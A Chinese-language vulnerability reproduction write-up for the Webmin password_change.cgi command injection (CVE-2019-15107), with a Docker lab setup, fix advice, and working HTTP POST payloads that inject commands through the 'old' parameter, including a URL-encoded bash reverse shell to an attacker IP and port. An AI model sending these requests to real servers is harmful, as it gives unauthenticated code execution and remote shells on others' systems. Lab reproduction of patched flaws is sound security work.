1. 程式人生 > 其它 >Webmin 遠端命令執行漏洞(CVE-2019-15107)

Webmin 遠端命令執行漏洞(CVE-2019-15107)

Webmin是一個用於管理類Unix系統的管理配置工具,具有Web頁面。在其找回密碼頁面中,存在一處無需許可權的命令注入漏洞,通過這個漏洞攻擊者即可以執行任意系統命令。

參考連結:

漏洞概述

  • 漏洞編號:CVE-2019-15107
  • 漏洞描述:該漏洞允許惡意第三方在缺少輸入驗證的情況下而執行惡意程式碼
  • 該漏洞由於password_change.cgi檔案在重置密碼功能中存在一個程式碼執行漏洞,該漏洞允許惡意第三方在缺少輸入驗證的情況下而執行惡意程式碼
  • 漏洞利用條件:版本滿足要求,且伺服器的配置檔案允許修改密碼時,在不知道webmin的使用者和密碼條件下,可以任意執行程式碼

影響版本

Webmin <= 1.920

環境搭建

執行如下命令,啟動webmin 1.910:

docker-compose up -d

執行完成後,訪問https://your-ip:10000,忽略證書後即可看到webmin的登入頁面。

漏洞復現

docker ps -a檢視當前啟動的容器資訊
使用docker進入容器進行驗證 使用條件

docker exec -it 6d /bin/bash

這裡修改一下root密碼, 這樣就能進webmin中進行配置修改, 使用命令
passwd

利用修改的密碼登入

登入之後點選authentication修改密碼重置配置

在容器中使用
cat /etc/webmin/miniserv.conf 確認密碼策略正確

訪問/password_change.cgi連結,抓包注入命令

POC

POST /password_change.cgi HTTP/1.1
Host: your-ip:10000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: https://your-ip:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

user=rootxx&pam=&expired=2&old=test|ls&new1=test2&new2=test2

上面poc需要注意:ip改成自己的ip,然後user引數不能是系統賬戶,後面接執行的命令。

反彈Shell

bash -c "bash -i >& /dev/tcp/192.168.10.129/9999 0>&1"

對上面bash進行url編碼

傳送:

POST /password_change.cgi HTTP/1.1
Content-Length: 139
Host: 192.168.10.128:10000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: https://192.168.10.128:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 139

user=rootxx&pam=&expired=2&old=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.10.129%2F9999%200%3E%261%22&new1=test2&new2=test2

修復建議

目前Webmin官方已釋出最新版本Webmin 1.940 修復了該漏洞,請受影響的使用者儘快升級至最新版本:

下載連結:http://webmin.com/download.html

臨時解決方案:

1.900 到 1.920版本的使用者,編輯Webmin配置檔案:/etc/webmin/miniserv.conf,註釋或刪除“passwd_mode=”行,然後執行/etc/webmin/restart 重啟服務命令。

注:修復漏洞前請將資料備份,並進行充分測試。